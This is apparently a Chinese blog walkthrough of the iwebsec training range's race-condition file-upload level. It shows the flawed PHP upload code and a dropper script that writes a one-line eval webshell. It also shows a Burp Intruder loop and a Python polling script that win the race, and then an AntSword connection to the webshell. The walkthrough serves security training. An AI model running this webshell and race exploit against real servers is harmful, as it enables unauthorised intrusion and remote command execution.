iwebsec靶场 文件上传漏洞通关笔记7-竞争条件文件上传

目录

第07关 条件竞争文件上传

1.打开靶场

2.源码分析

3.构造脚本

4.intruder死循环上传shell.php

5.写python脚本不断访问shell.php

6.渗透攻击

(1)运行python脚本

(2)intruder开始攻击

(3)等待python脚本访问成功

7.访问cmd.shell


第07关 条件竞争文件上传

通过对iwebsec靶场文件上传的第七关卡讲解条件竞争法实现文件上传的方法,通过python脚本配合burpsuite工具实现渗透过程。

1.打开靶场

iwebsec 靶场漏洞库iwebsecicon-default.png?t=N7T8http://iwebsec.com:81/upload/07.php

 随手构造info.php,内容为<?php phpinfo();?>如下所示,提示该文件不允许删除已删除,提到删除应该是条件竞争类的文件上传漏洞

2.源码分析

如下所示,对于不在白名单中的文件类型,服务器直接删掉了

<?php

  require_once('../header.php');
  ?>
<html>
<meta http-equiv="Content-Type" content="text/html;  charset=utf8"/>
	<head>
		<title>条件竞争文件上传</title>
	</head>
	<h2>条件竞争文件上传</h2>
		<div class="alert alert-success">
			<p>请上传PHP文件</p>
		</div>
	<body>
<form  enctype="multipart/form-data" method="post" name="uploadfile">
请上传文件:<input type="file" name="upfile" /><br> 
<input type="submit" name="submit" value="submit" />
</form> 
</html>
<?php
if (isset($_POST['submit'])){
    $allow_ext = array("gif","png","jpg");
	
	$uploaddir = 'uploads/';

    $filename = $uploaddir.$_FILES['upfile']['name'];
	
	move_uploaded_file($_FILES['upfile']['tmp_name'],$filename);
  
    $file = "./".$filename;
    echo "文件上传成功: ".$file."\n<br />";

    $ext = array_pop(explode(".",$_FILES['upfile']['name']));
    if (!in_array($ext,$allow_ext)){
        unlink($file);
        die("此文件类型不允许上传已删除");
    }
	}else{
		die("");
	}

?>

3.构造脚本

构造脚本命名为shell.php,它的作用是生成一句话木马cmd.php,cmd.php的内容为<?php eval($_POST[cmd]);?>

<?php
fputs (fopen("cmd.php","w"),'<?php eval($_POST[cmd]);?>')
?>

 希望通过向服务器不停的上传shell.php脚本,在其未被删除前,利用条件竞争执行shell.php脚本生成一句话木马cmd.php

4.intruder死循环上传shell.php

(1)bp开启拦截模式

 (2)浏览器上传shell.php

 (3)bp抓包并发送给intruder

(4)intruder中的positions处清除所有载荷

如下所示,点击clear

 (5)intruder中的payload处选择1没有负载,无限重复

英文版bp如下

 中文版bp如下

5.写python脚本不断访问shell.php

根据第一次上传失败的提示得知文件上传后的路径为./uploads/info.php

那么shell.php上传成功后,在没有被删掉前,其url访问路径为http://iwebsec.com:81/upload/uploads/shell.php

于是构造python脚本一直访问shell.php,利用时间差,不断访问使其可以在删除前生成cmd.php这个webshell,如下所示

import requests

url = "http://iwebsec.com:81/upload/uploads/shell.php" #这个路径,是上传的那个路径
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break
    else:
        print("NO")

6.渗透攻击

(1)运行python脚本

(2)intruder开始攻击

点击攻击attack

 如下所示bp开始不断上传shell.php

 随机打开bp攻击中的response,可知intruder执行成功

(3)等待python脚本访问成功

python访问成功,提示OK,代表已经生成了cmd.shell

7.访问cmd.shell

蚁剑添加 url为http://iwebsec.com:81/upload/uploads/cmd.php 密码为cmd

添加后如下所示

连接成功

  • 16
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

mooyuan天天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值